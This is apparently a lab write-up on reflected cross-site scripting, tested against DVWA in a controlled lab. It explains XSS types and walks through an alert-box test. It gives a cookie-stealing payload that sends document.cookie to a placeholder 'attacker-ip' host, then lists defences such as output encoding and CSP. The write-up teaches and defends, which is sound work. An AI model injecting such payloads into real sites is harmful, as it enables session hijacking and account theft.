Day 5: Cross-Site Scripting (XSS) — When the Browser Becomes the Attacker
Introduction
Cross-Site Scripting (XSS) is a client-side attack that exploits trust between a user’s browser and a web application. Unlike SQL Injection, which targets backend databases, XSS targets users directly by injecting malicious scripts into web pages that are trusted and rendered by the browser.
XSS is especially dangerous because it allows attackers to execute arbitrary JavaScript in a victim’s browser, leading to session hijacking, credential theft, and full account compromise without touching server-side authentication.
How XSS Works
Web applications often reflect user input back into web pages. If this input is not properly sanitized or encoded, the browser interprets it as executable JavaScript instead of plain text.
At a high level, the flow looks like this: User Input → Web Application → Browser
If the application blindly trusts input, the attacker can inject scripts that the browser executes under the application’s domain context.
The browser does not know the difference between:
Legitimate application code
Malicious injected scripts
Types of XSS
Reflected XSS
Payload is reflected immediately in the response
Often triggered via URL parameters or form inputs
Stored XSS
Payload is stored in the database
Executes every time a user views the affected page
DOM-Based XSS
Injection occurs entirely on the client side
JavaScript modifies the DOM using unsafe input
This lab focuses on Reflected XSS, as it clearly demonstrates execution flow.
Lab Environment
Attacker System: Kali Linux
Vulnerable Application: DVWA
Security Level: Low
Target Component: XSS (Reflected)
All testing was performed in a controlled lab environment.
Identifying the Vulnerable Input
On the DVWA XSS (Reflected) page, a user-supplied input is reflected directly back to the browser.
Entering normal text: hello
The application responds by displaying the input without modification.
This confirms that user input is reflected in the response.
Executing the XSS Payload
Inject the following payload into the input field: <script>alert('XSS')</script>
Result:
The browser executes the script
An alert box appears
This confirms that arbitrary JavaScript is being executed in the browser context.
At this point, the vulnerability is verified
From XSS to Real Impact
Alert boxes are proof, not the goal.
A realistic attacker uses XSS to steal session cookies.
Example payload: <script>document.location='http://attacker-ip/?c='+document.cookie</script>
If session cookies are not protected:
The browser sends them to the attacker
The attacker can hijack the session
Authentication is bypassed
This directly connects XSS to Day 4: Session Hijacking.
Why XSS Is So Dangerous
XSS works because:
Browsers trust application responses
Applications trust user input
JavaScript executes with full session privileges
Once exploited, XSS can:
Steal cookies
Perform actions as the victim
Modify page content
Redirect users to malicious sites
This makes XSS a critical vulnerability in modern web applications.
Defensive Measures
Output Encoding
Encode user input before rendering it in HTML.
HTML encoding
JavaScript encoding
URL encoding
Input Validation
Reject unexpected characters
Enforce strict input formats
Apply length restrictions
Secure Cookie Attributes
HttpOnlyprevents JavaScript accessSecureenforces HTTPSSameSitelimits cross-site usage
Content Security Policy (CSP)
CSP restricts where scripts can load from and blocks inline script execution.
Defense Verification
After applying protections:
Script tags should render as text
JavaScript should not execute
Cookies should remain inaccessible to injected scripts
If scripts still run, the application remains vulnerable.
Conclusion
Cross-Site Scripting highlights how client-side trust can be abused to compromise users rather than servers. By executing malicious scripts in a trusted browser context, attackers can bypass authentication indirectly and escalate access through session hijacking.
This lab demonstrated that XSS is not a cosmetic vulnerability but a powerful attack vector capable of chaining into full account compromise. Proper input handling, output encoding, and browser-level defenses are essential to protecting users and maintaining application trust.